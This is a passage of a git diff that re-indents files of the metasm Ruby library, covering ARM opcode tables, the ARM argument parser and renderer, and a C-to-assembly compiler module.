name+'d', op # transfer made downward + addop_ldm_p name+'i', op | (1 << 23) # transfer made upward + end + def addop_ldm(name, op) + addop_ldm_u name, op + end + + # ARMv6 instruction set, aka arm7/arm9 + def init_arm_v6 + @opcode_list = [] + @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs << + :tothumb << :tojazelle + @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, + :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12] + @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, + :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, + :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, + :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, + :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, + :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf + + @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, + :crn => 16, :crd => 12, :crm => 0, :cpn => 8, + :rnx => 16, :rdx => 12, :rsx => 8, + :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, + :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, + :u => 23, :mask => 16, :sbo => 12, :cond => 28 + + addop_data 'and', 0, :rd, :rn + addop_data 'eor', 1, :rd, :rn + addop_data 'xor', 1, :rd, :rn + addop_data 'sub', 2, :rd, :rn + addop_data 'rsb', 3, :rd, :rn + addop_data 'add', 4, :rd, :rn + addop_data 'adc', 5, :rd, :rn + addop_data 'sbc', 6, :rd, :rn + addop_data 'rsc', 7, :rd, :rn + addop_data 'tst', 8, :rdx, :rn + addop_data 'teq', 9, :rdx, :rn + addop_data 'cmp', 10, :rdx, :rn + addop_data 'cmn', 11, :rdx, :rn + addop_data 'orr', 12, :rd, :rn + addop_data 'or', 12, :rd, :rn + addop_data 'mov', 13, :rd, :rnx + addop_data 'bic', 14, :rd, :rn + addop_data 'mvn', 15, :rd, :rnx + + addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 + addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip + addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef + addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24 + addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm + addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm + addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle + + addop_load 'str', (1 << 26) + addop_load 'ldr', (1 << 26) | (1 << 20) + addop_load_lsh + addop_ldm 'stm', (1 << 27) + addop_ldm 'ldm', (1 << 27) | (1 << 20) + end + alias init_latest init_arm_v6 end end __END__ - addop_cond 'mrs', 0b0001000011110000000000000000, :rd - addop_cond 'msr', 0b0001001010011111000000000000, :rd - addop_cond 'msrf', 0b0001001010001111000000000000, :rd + addop_cond 'mrs', 0b0001000011110000000000000000, :rd + addop_cond 'msr', 0b0001001010011111000000000000, :rd + addop_cond 'msrf', 0b0001001010001111000000000000, :rd - addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm - addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm + addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm + addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm - addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm - addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm + addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm + addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm - addop_cond 'undef', 0b00000110000000000000000000010000 + addop_cond 'undef', 0b00000110000000000000000000010000 - addop_cond 'swi', 0b00001111 << 24 + addop_cond 'swi', 0b00001111 << 24 - addop_cond 'bkpt', 0b1001000000000000001110000 - addop_cond 'movw', 0b0011 << 24, :movwimm + addop_cond 'bkpt', 0b1001000000000000001110000 + addop_cond 'movw', 0b0011 << 24, :movwimm diff --git a/lib/metasm/metasm/arm/parse.rb b/lib/metasm/metasm/arm/parse.rb index 54885a36eaa3a..a7bf5ab9411b5 100644 --- a/lib/metasm/metasm/arm/parse.rb +++ b/lib/metasm/metasm/arm/parse.rb @@ -9,122 +9,122 @@ module Metasm class ARM - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| - (h[o.name] ||= []) << o - if o.props[:cond] - coff = o.props[:cond_name_off] || o.name.length - %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| - n = o.name.dup - n[coff, 0] = cd - (h[n] ||= []) << o - } - end - h - } - end + def opcode_list_byname + @opcode_list_byname ||= opcode_list.inject({}) { |h, o| + (h[o.name] ||= []) << o + if o.props[:cond] + coff = o.props[:cond_name_off] || o.name.length + %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| + n = o.name.dup + n[coff, 0] = cd + (h[n] ||= []) << o + } + end + h + } + end - def parse_arg_valid?(op, sym, arg) - case sym - when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg - when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer - when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - os = case sym - when :mem_rn_rm; :rm - when :mem_rn_i8_12; :i8_12 - when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i16 - end - arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of? RegList - end - # TODO check flags on reglist, check int values - end + def parse_arg_valid?(op, sym, arg) + case sym + when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) + when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg + when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer + when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression + when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + os = case sym + when :mem_rn_rm; :rm + when :mem_rn_i8_12; :i8_12 + when :mem_rn_rms; :rm_rs + when :mem_rn_i12; :i16 + end + arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset) + when :reglist; arg.kind_of? RegList + end + # TODO check flags on reglist, check int values + end - def parse_argument(lexer) - if Reg.s_to_i[lexer.nexttok.raw] - arg = Reg.new Reg.s_to_i[lexer.readtok.raw] - lexer.skip_space - case lexer.nexttok.raw.downcase - when 'lsl', 'lsr', 'asr', 'ror' - arg.stype = lexer.readtok.raw.downcase.to_sym - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] - else - arg.shift = Expression.parse(lexer).reduce - end - when 'rrx' - lexer.readtok - arg.stype = :ror - when '!' - lexer.readtok - arg.updated = true - end - elsif lexer.nexttok.raw == '{' - lexer.readtok - arg = RegList.new - loop do - raise "unterminated reglist" if lexer.eos? - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) - lexer.skip_space - end - case lexer.nexttok.raw - when ','; lexer.readtok - when '-' - lexer.readtok - lexer.skip_space - if not r = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, "reglist parse error: invalid range" - end - lexer.readtok - (arg.list.last.i+1..r).each { |v| - arg.list << Reg.new(v) - } - when '}'; lexer.readtok ; break - else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" - end - end - if lexer.nexttok and lexer.nexttok.raw == '^' - lexer.readtok - arg.usermoderegs = true - end - elsif lexer.nexttok.raw == '[' - lexer.readtok - if not base = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, 'invalid mem base (reg expected)' - end - base = Reg.new Reg.s_to_i[lexer.readtok.raw] - if lexer.nexttok.raw == ']' - lexer.readtok - closed = true - end - if lexer.nexttok.raw != ',' - raise lexer, 'mem off expected' - end - lexer.readtok - off = parse_argument(lexer) - if not off.kind_of? Expression and not off.kind_of? Reg - raise lexer, 'invalid mem off (reg/imm expected)' - end - case lexer.nexttok and lexer.nexttok.raw - when ']' - when ',' - end - lexer.readtok - arg = Memref.new(base, off) - if lexer.nexttok and lexer.nexttok.raw == '!' - lexer.readtok - arg.incr = :pre # TODO :post - end - else - arg = Expression.parse lexer - end - arg - end + def parse_argument(lexer) + if Reg.s_to_i[lexer.nexttok.raw] + arg = Reg.new Reg.s_to_i[lexer.readtok.raw] + lexer.skip_space + case lexer.nexttok.raw.downcase + when 'lsl', 'lsr', 'asr', 'ror' + arg.stype = lexer.readtok.raw.downcase.to_sym + lexer.skip_space + if Reg.s_to_i[lexer.nexttok.raw] + arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] + else + arg.shift = Expression.parse(lexer).reduce + end + when 'rrx' + lexer.readtok + arg.stype = :ror + when '!' + lexer.readtok + arg.updated = true + end + elsif lexer.nexttok.raw == '{' + lexer.readtok + arg = RegList.new + loop do + raise "unterminated reglist" if lexer.eos? + lexer.skip_space + if Reg.s_to_i[lexer.nexttok.raw] + arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) + lexer.skip_space + end + case lexer.nexttok.raw + when ','; lexer.readtok + when '-' + lexer.readtok + lexer.skip_space + if not r = Reg.s_to_i[lexer.nexttok.raw] + raise lexer, "reglist parse error: invalid range" + end + lexer.readtok + (arg.list.last.i+1..r).each { |v| + arg.list << Reg.new(v) + } + when '}'; lexer.readtok ; break + else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" + end + end + if lexer.nexttok and lexer.nexttok.raw == '^' + lexer.readtok + arg.usermoderegs = true + end + elsif lexer.nexttok.raw == '[' + lexer.readtok + if not base = Reg.s_to_i[lexer.nexttok.raw] + raise lexer, 'invalid mem base (reg expected)' + end + base = Reg.new Reg.s_to_i[lexer.readtok.raw] + if lexer.nexttok.raw == ']' + lexer.readtok + closed = true + end + if lexer.nexttok.raw != ',' + raise lexer, 'mem off expected' + end + lexer.readtok + off = parse_argument(lexer) + if not off.kind_of? Expression and not off.kind_of? Reg + raise lexer, 'invalid mem off (reg/imm expected)' + end + case lexer.nexttok and lexer.nexttok.raw + when ']' + when ',' + end + lexer.readtok + arg = Memref.new(base, off) + if lexer.nexttok and lexer.nexttok.raw == '!' + lexer.readtok + arg.incr = :pre # TODO :post + end + else + arg = Expression.parse lexer + end + arg + end end end diff --git a/lib/metasm/metasm/arm/render.rb b/lib/metasm/metasm/arm/render.rb index 15c0151a1fff5..473071d35f729 100644 --- a/lib/metasm/metasm/arm/render.rb +++ b/lib/metasm/metasm/arm/render.rb @@ -8,48 +8,48 @@ module Metasm class ARM - class Reg - include Renderable - def render - r = self.class.i_to_s[@i] - r += '!' if updated - if @stype == :lsl and @shift == 0 - [r] - elsif @stype == :ror and @shift == 0 - ["#{r} RRX"] - else - case s = @shift - when Integer; s = Expression[s] - when Reg; s = self.class.i_to_s[s.i] - end - ["#{r} #{@stype.to_s.upcase} #{s}"] - end - end - end + class Reg + include Renderable + def render + r = self.class.i_to_s[@i] + r += '!' if updated + if @stype == :lsl and @shift == 0 + [r] + elsif @stype == :ror and @shift == 0 + ["#{r} RRX"] + else + case s = @shift + when Integer; s = Expression[s] + when Reg; s = self.class.i_to_s[s.i] + end + ["#{r} #{@stype.to_s.upcase} #{s}"] + end + end + end - class Memref - include Renderable - def render - o = @offset - o = Expression[o] if o.kind_of? Integer - case @incr - when nil; ['[', @base, ', ', o, ']'] - when :pre; ['[', @base, ', ', o, ']!'] - when :post; ['[', @base, '], ', o] - end - end - end + class Memref + include Renderable + def render + o = @offset + o = Expression[o] if o.kind_of? Integer + case @incr + when nil; ['[', @base, ', ', o, ']'] + when :pre; ['[', @base, ', ', o, ']!'] + when :post; ['[', @base, '], ', o] + end + end + end - class RegList - include Renderable - def render - r = ['{'] - @list.each { |l| r << l << ', ' } - r[-1] = '}' - r << '^' if usermoderegs - r - end - end + class RegList + include Renderable + def render + r = ['{'] + @list.each { |l| r << l << ', ' } + r[-1] = '}' + r << '^' if usermoderegs + r + end + end end end diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb index 9ce56a46f8ef6..4dcd816925add 100644 --- a/lib/metasm/metasm/compile_c.rb +++ b/lib/metasm/metasm/compile_c.rb @@ -9,1429 +9,1429 @@ module Metasm module C - class Parser - def precompile - @toplevel.precompile(Compiler.new(self)) - self - end - end - - # each CPU defines a subclass of this one - class Compiler - # an ExeFormat (mostly used for unique label creation) - attr_accessor :exeformat - # the C Parser (destroyed by compilation) - attr_accessor :parser - # an array of assembler statements (strings) - attr_accessor :source - # list of unique labels generated (to recognize user-defined ones) - attr_accessor :auto_label_list - - attr_accessor :curexpr - # allows 'raise self' (eg struct.offsetof) - def exception(msg='EOF unexpected') - ParseError.new "near #@curexpr: #{msg}" - end - - # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=ExeFormat.new, source=[]) - @parser, @exeformat, @source = parser, exeformat, source - @auto_label_list = {} - end - - def new_label(base='') - lbl = @exeformat.new_label base - @auto_label_list[lbl] = true - lbl - end - - def toplevel ; @parser.toplevel end - def typesize ; @parser.typesize end - def sizeof(*a) @parser.sizeof(*a) end - - # compiles the c parser toplevel to assembler statements in self.source (::Array of ::String) - # - # starts by precompiling parser.toplevel (destructively): - # static symbols are converted to toplevel ones, as nested functions - # uses an ExeFormat (the argument) to create unique label/variable names - # - # remove typedefs/enums - # CExpressions: all expr types are converted to __int8/__int16/__int32/__int64 (sign kept) (incl. ptr), + void - # struct member dereference/array indexes are converted to *(ptr + off) - # coma are converted to 2 statements, ?: are converted to If - # :|| and :&& are converted to If + assignment to temporary - # immediate quotedstrings/floats are converted to references to const static toplevel - # postincrements are replaced by a temporary (XXX arglist) - # compound statements are unnested - # Asm are kept (TODO precompile clobber types) - # Declarations: initializers are converted to separate assignment CExpressions - # Blocks are kept unless empty - # structure dereferences/array indexing are converted to *(ptr + offset) - # While/For/DoWhile/Switch are converted to If/Goto - # Continue/Break are converted to Goto - # Cases are converted to Labels during Switch conversion - # Label statements are removed - # Return: 'return ;' => 'return ; goto ;', 'return;' => 'goto ;' - # If: 'if (a) b; else c;' => 'if (a) goto l1; { c; }; goto l2; l1: { b; } l2:' - # && and || in condition are expanded to multiple If - # functions returning struct are precompiled (in Declaration/CExpression/Return) - # - # in a second phase, unused labels are removed from functions, as noop goto (goto x; x:) - # dead code is removed ('goto foo; bar; baz:' => 'goto foo; baz:') (TODO) - # - # after that, toplevel is no longer valid C (bad types, blocks moved...) - # - # then toplevel statements are sorted (.text, .data, .rodata, .bss) and compiled into asm statements in self.source - # - # returns the asm source in a single string - def compile - cf = @exeformat.unique_labels_cache.keys & @auto_label_list.keys - raise "compile_c name conflict: #{cf.inspect}" if not cf.empty? - @exeformat.unique_labels_cache.update @auto_label_list - - @parser.toplevel.precompile(self) - - # reorder statements (arrays of Variables) following exe section typical order - funcs, rwdata, rodata, udata = [], [], [], [] - @parser.toplevel.statements.each { |st| - if st.kind_of? Asm - @source << st.body - next - end - raise 'non-declaration at toplevel! ' + st.inspect if not st.kind_of? Declaration - v = st.var - if v.type.kind_of? Function - funcs << v if v.initializer # no initializer == storage :extern - elsif v.storage == :extern - elsif v.initializer - if v.type.qualifier.to_a.include?(:const) or - (v.type.kind_of? Array and v.type.type.qualifier.to_a.include?(:const)) - rodata << v - else - rwdata << v - end - else - udata << v - end - } - - if not funcs.empty? - @exeformat.compile_setsection @source, '.text' - funcs.each { |func| c_function(func) } - c_program_epilog - end - - align = 1 - if not rwdata.empty? - @exeformat.compile_setsection @source, '.data' - rwdata.each { |data| align = c_idata(data, align) } - end - - if not rodata.empty? - @exeformat.compile_setsection @source, '.rodata' - rodata.each { |data| align = c_idata(data, align) } - end - - if not udata.empty? - @exeformat.compile_setsection @source, '.bss' - udata.each { |data| align = c_udata(data, align) } - end - - # needed to allow asm parser to use our autogenerated label names - @exeformat.unique_labels_cache.delete_if { |k, v| @auto_label_list[k] } - - @source.join("\n") - end - - # compiles a C function +func+ to asm source into the array of strings +str+ - # in a first pass the stack variable offsets are computed, - # then each statement is compiled in turn - def c_function(func) - # must wait the Declaration to run the CExpr for dynamic auto offsets, - # and must run those statements once only - # TODO alloc a stack variable to maintain the size for each dynamic array - # TODO offset of arguments - # TODO nested function - c_init_state(func) - - # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' << "#{func.name}:" - presource, @source = @source, [] - - c_block(func.initializer) - - tmpsource, @source = @source, presource - c_prolog - @source.concat tmpsource - c_epilog - @source << '' - end - - def c_block(blk) - c_block_enter(blk) - blk.statements.each { |stmt| - case stmt - when CExpression; c_cexpr(stmt) - when Declaration; c_decl(stmt.var) - when If; c_ifgoto(stmt.test, stmt.bthen.target) - when Goto; c_goto(stmt.target) - when Label; c_label(stmt.name) - when Return; c_return(stmt.value) - when Asm; c_asm(stmt) - when Block; c_block(stmt) - else raise - end - } - c_block_exit(blk) - end - - def c_block_enter(blk) - end - - def c_block_exit(blk) - end - - def c_label(name) - @source << "#{name}:" - end - - # fills @state.offset (empty hash) - # automatic variable => stack offset, (recursive) - # offset is an ::Integer or a CExpression (dynamic array) - # assumes offset 0 is a ptr-size-aligned address - # TODO registerize automatic variables - def c_reserve_stack(block, off = 0) - block.statements.each { |stmt| - case stmt - when Declaration - next if stmt.var.type.kind_of? Function - off = c_reserve_stack_var(stmt.var, off) - @state.offset[stmt.var] = off - when Block - c_reserve_stack(stmt, off) - # do not update off, not nested subblocks can overlap - end - } - end - - # computes the new stack offset for var - # off is either an offset from stack start (:ptr-size-aligned) or - # a CExpression [[[expr, +, 7], &, -7], +, off] - def c_reserve_stack_var(var, off) - if (arr_type = var.type).kind_of? Array and (arr_sz = arr_type.length).kind_of? CExpression - # dynamic array ! - arr_sz = CExpression.new(arr_sz, :*, sizeof(nil, arr_type.type), - BaseType.new(:long, :unsigned)).precompile_inner(@parser, nil) - off = CExpression.new(arr_sz, :+, off, arr_sz.type) - off = CExpression.new(off, :+, 7, off.type) - off = CExpression.new(off, :&, -7, off.type) - CExpression.new(off, :+, 0, off.type) - else - al = var.type.align(@parser) - sz = sizeof(var) - case off - when CExpression; CExpression.new(off.lexpr, :+, ((off.rexpr + sz + al - 1) / al * al), off.type) - else (off + sz + al - 1) / al * al - end - end - end - - # here you can add thing like stubs for PIC code - def c_program_epilog - end - - # compiles a C static data definition into an asm string - # returns the new alignment value - def c_idata(data, align) - w = data.type.align(@parser) - @source << ".align #{align = w}" if w > align - - @source << data.name.dup - len = c_idata_inner(data.type, data.initializer) - len %= w - len == 0 ? w : len - end - - # dumps an anonymous variable definition, appending to the last line of source - # source.last is a label name or is empty before calling here - # return the length of the data written - def c_idata_inner(type, value) - case type - when BaseType - value ||= 0 - - if type.name == :void - @source.last << ':' if not @source.last.empty? - return 0 - end - - @source.last << - case type.name - when :__int8; ' db ' - when :__int16; ' dw ' - when :__int32; ' dd ' - when :__int64; ' dq ' - when :ptr; " d#{%w[x b w x d x x x q][@parser.typesize[type.name]]} " - when :float; ' db ' + [value].pack(@parser.endianness == :little ? 'e' : 'g').unpack('C*').join(', ') + ' // ' - when :double; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' - when :longdouble; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' # XXX same as :double - else raise "unknown idata type #{type.inspect} #{value.inspect}" - end - - @source.last << c_idata_inner_cexpr(value) - - @parser.typesize[type.name] - - when Struct - value ||= [] - @source.last << ':' if not @source.last.empty? - # could .align here, but if there is our label name just before, it should have been .aligned too.. - raise "unknown struct initializer #{value.inspect}" if not value.kind_of? ::Array - sz = 0 - type.members.zip(value).each { |m, v| - if m.name and wsz = type.offsetof(@parser, m.name) and sz < wsz - @source << "db #{wsz-sz} dup(?)" - end - @source << '' - flen = c_idata_inner(m.type, v) - sz += flen - } - - sz - - when Union - value ||= [] - @source.last << ':' if not @source.last.empty? - len = sizeof(nil, type) - raise "unknown union initializer #{value.inspect}" if not value.kind_of? ::Array - idx = value.rindex(value.compact.last) || 0 - raise "empty union initializer" if not idx - wlen = c_idata_inner(type.members[idx].type, value[idx]) - @source << "db #{'0' * (len - wlen) * ', '}" if wlen < len - - len - - when Array - value ||= [] - if value.kind_of? CExpression and not value.op and value.rexpr.kind_of? ::String - elen = sizeof(nil, value.type.type) - @source.last << - case elen - when 1; ' db ' - when 2; ' dw ' - else raise 'bad char* type ' + value.inspect - end << value.rexpr.inspect - - len = type.length || (value.rexpr.length+1) - if len > value.rexpr.length - @source.last << (', 0' * (len - value.rexpr.length)) - end - - elen * len - - elsif value.kind_of? ::Array - @source.last << ':' if not @source.last.empty? - len = type.length || value.length - value.each { |v| - @source << '' - c_idata_inner(type.type, v) - } - len -= value.length - if len > 0 - @source << " db #{len * sizeof(nil, type.type)} dup(0)" - end - - sizeof(nil, type.type) * len - - else raise "unknown static array initializer #{value.inspect}" - end - end - end - - def c_idata_inner_cexpr(expr) - expr = expr.reduce(@parser) if expr.kind_of? CExpression - case expr - when ::Integer; (expr >= 4096) ? ('0x%X' % expr) : expr.to_s - when ::Numeric; expr.to_s - when Variable - case expr.type - when Array; expr.name - else c_idata_inner_cexpr(expr.initializer) - end - when CExpression - if not expr.lexpr - case expr.op - when :& - case expr.rexpr - when Variable; expr.rexpr.name - else raise 'unhandled addrof in initializer ' + expr.rexpr.inspect - end - #when :* - when :+; c_idata_inner_cexpr(expr.rexpr) - when :-; ' -' << c_idata_inner_cexpr(expr.rexpr) - when nil - e = c_idata_inner_cexpr(expr.rexpr) - if expr.rexpr.kind_of? CExpression - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - else raise 'unhandled initializer expr ' + expr.inspect - end - else - case expr.op - when :+, :-, :*, :/, :%, :<<, :>>, :&, :|, :^ - e = '(' << c_idata_inner_cexpr(expr.lexpr) << - expr.op.to_s << c_idata_inner_cexpr(expr.rexpr) << ')' - if expr.type.integral? - # db are unsigned - e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" - end - e - #when :'.' - #when :'->' - #when :'[]' - else raise 'unhandled initializer expr ' + expr.inspect - end - end - else raise 'unhandled initializer ' + expr.inspect - end - end - - def c_udata(data, align) - @source << "#{data.name} " - @source.last << - case data.type - when BaseType - len = @parser.typesize[data.type.name] - case data.type.name - when :__int8; 'db ?' - when :__int16; 'dw ?' - when :__int32; 'dd ?' - when :__int64; 'dq ?' - else "db #{len} dup(?)" - end - else - len = sizeof(data) - "db #{len} dup(?)" - end - len %= align - len == 0 ? align : len - end - - def check_reserved_name(var) - end - end - - class Statement - # all Statements/Declaration must define a precompile(compiler, scope) method - # it must append itself to scope.statements - - # turns a statement into a new block - def precompile_make_block(scope) - b = Block.new scope - b.statements << self - b - end - end - - class Block - # precompile all statements, then simplifies symbols/structs types - def precompile(compiler, scope=nil) - stmts = @statements.dup - @statements.clear - stmts.each { |st| - compiler.curexpr = st - st.precompile(compiler, self) - } - - # cleanup declarations - @symbol.delete_if { |n, s| not s.kind_of? Variable } - @struct.delete_if { |n, s| not s.kind_of? Union } - @symbol.each_value { |var| - CExpression.precompile_type(compiler, self, var, true) - } - @struct.each_value { |var| - next if not var.members - var.members.each { |m| - CExpression.precompile_type(compiler, self, m, true) - } - } - scope.statements << self if scope and not @statements.empty? - end - - # removes unused labels, and in-place goto (goto toto; toto:) - def precompile_optimize - list = [] - precompile_optimize_inner(list, 1) - precompile_optimize_inner(list, 2) - end - - # step 1: list used labels/unused goto - # step 2: remove unused labels - def precompile_optimize_inner(list, step) - lastgoto = nil - hadref = false - walk = lambda { |expr| - next if not expr.kind_of? CExpression - # gcc's unary && support - if not expr.op and not expr.lexpr and expr.rexpr.kind_of? Label - list << expr.rexpr.name - else - walk[expr.lexpr] - if expr.rexpr.kind_of? ::Array - expr.rexpr.each { |r| walk[r] } - else - walk[expr.rexpr] - end - end - } - @statements.dup.each { |s| - lastgoto = nil if not s.kind_of? Label - case s - when Block - s.precompile_optimize_inner(list, step) - @statements.delete s if step == 2 and s.statements.empty? - when CExpression; walk[s] if step == 1 - when Label - case step - when 1 - if lastgoto and lastgoto.target == s.name - list << lastgoto - list.delete s.name if not hadref - end - when 2; @statements.delete s if not list.include? s.name - end - when Goto, If - s.kind_of?(If) ? g = s.bthen : g = s - case step - when 1 - hadref = list.include? g.target - lastgoto = g - list << g.target - when 2 - if list.include? g - idx = @statements.index s - @statements.delete s - @statements[idx, 0] = s.test if s != g and not s.test.constant? - end - end - end - } - list - end - - # noop - def precompile_make_block(scope) self end - - def continue_label ; defined?(@continue_label) ? @continue_label : @outer.continue_label end - def continue_label=(l) @continue_label = l end - def break_label ; defined?(@break_label) ? @break_label : @outer.break_label end - def break_label=(l) @break_label = l end - def return_label ; defined?(@return_label) ? @return_label : @outer.return_label end - def return_label=(l) @return_label = l end - def nonauto_label=(l) @nonauto_label = l end - def nonauto_label ; defined?(@nonauto_label) ? @nonauto_label : @outer.nonauto_label end - def function ; defined?(@function) ? @function : @outer.function end - def function=(f) @function = f end - end - - class Declaration - def precompile(compiler, scope) - if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - # TODO fix label name in export table if __exported - scope.symbol.delete @var.name - old = @var.name - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.symbol[@var.name] = @var - # TODO no pure inline if addrof(func) needed - compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline' - else - scope.symbol[@var.name] ||= @var - appendme = true - end - - if i = @var.initializer - if @var.type.kind_of? Function - if @var.type.type.kind_of? Struct - s = @var.type.type - v = Variable.new - v.name = compiler.new_label('return_struct_ptr') - v.type = Pointer.new(s) - CExpression.precompile_type(compiler, scope, v) - @var.type.args.unshift v - @var.type.type = v.type - end - i.function = @var - i.return_label = compiler.new_label('epilog') - i.nonauto_label = {} - i.precompile(compiler) - Label.new(i.return_label).precompile(compiler, i) - i.precompile_optimize - # append now so that static dependencies are declared before us - scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' - elsif scope != compiler.toplevel and @var.storage != :static - scope.statements << self if appendme - Declaration.precompile_dyn_initializer(compiler, scope, @var, @var.type, i) - @var.initializer = nil - else - scope.statements << self if appendme - @var.initializer = Declaration.precompile_static_initializer(compiler, @var.type, i) - end - else - scope.statements << self if appendme - end - - end - - # turns an initializer to CExpressions in scope.statements - def self.precompile_dyn_initializer(compiler, scope, var, type, init) - case type = type.untypedef - when Array - # XXX TODO type.length may be dynamic !! - case init - when CExpression - # char toto[] = "42" - if not init.kind_of? CExpression or init.op or init.lexpr or not init.rexpr.kind_of? ::String - raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - init = init.rexpr.unpack('C*') + [0] - init.map! { |chr| CExpression.new(nil, nil, chr, type.type) } - precompile_dyn_initializer(compiler, scope, var, type, init) - - when ::Array - type.length ||= init.length - # len is an Integer - init.each_with_index { |it, idx| - next if not it - break if idx >= type.length - idx = CExpression.new(nil, nil, idx, BaseType.new(:long, :unsigned)) - v = CExpression.new(var, :'[]', idx, type.type) - precompile_dyn_initializer(compiler, scope, v, type.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - when Union - case init - when CExpression, Variable - if init.type.untypedef.kind_of? BaseType - # works for struct foo bar[] = {0}; ... - type.members.each { |m| - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, v.type, init) - } - elsif init.type.untypedef.kind_of? type.class - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else - raise "bad initializer #{init.inspect} for #{var.inspect}" - end - when ::Array - init.each_with_index{ |it, idx| - next if not it - m = type.members[idx] - v = CExpression.new(var, :'.', m.name, m.type) - precompile_dyn_initializer(compiler, scope, v, m.type, it) - } - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - else - case init - when CExpression - CExpression.new(var, :'=', init, type).precompile(compiler, scope) - else raise "unknown initializer #{init.inspect} for #{var.inspect}" - end - end - end - - # returns a precompiled static initializer (eg string constants) - def self.precompile_static_initializer(compiler, type, init) - # TODO - case type = type.untypedef - when Array - if init.kind_of? ::Array - init.map { |i| precompile_static_initializer(compiler, type.type, i) } - else - init - end - when Union - if init.kind_of? ::Array - init.zip(type.members).map { |i, m| precompile_static_initializer(compiler, m.type, i) } - else - init - end - else - if init.kind_of? CExpression and init = init.reduce(compiler) and init.kind_of? CExpression - if not init.op and init.rexpr.kind_of? ::String - v = Variable.new - v.storage = :static - v.name = 'char_' + init.rexpr.gsub(/[^a-zA-Z]/, '')[0, 8] - v.type = Array.new(type.type) - v.type.length = init.rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, init.rexpr, type) - Declaration.new(v).precompile(compiler, compiler.toplevel) - init.rexpr = v - end - init.rexpr = precompile_static_initializer(compiler, init.rexpr.type, init.rexpr) if init.rexpr.kind_of? CExpression - init.lexpr = precompile_static_initializer(compiler, init.lexpr.type, 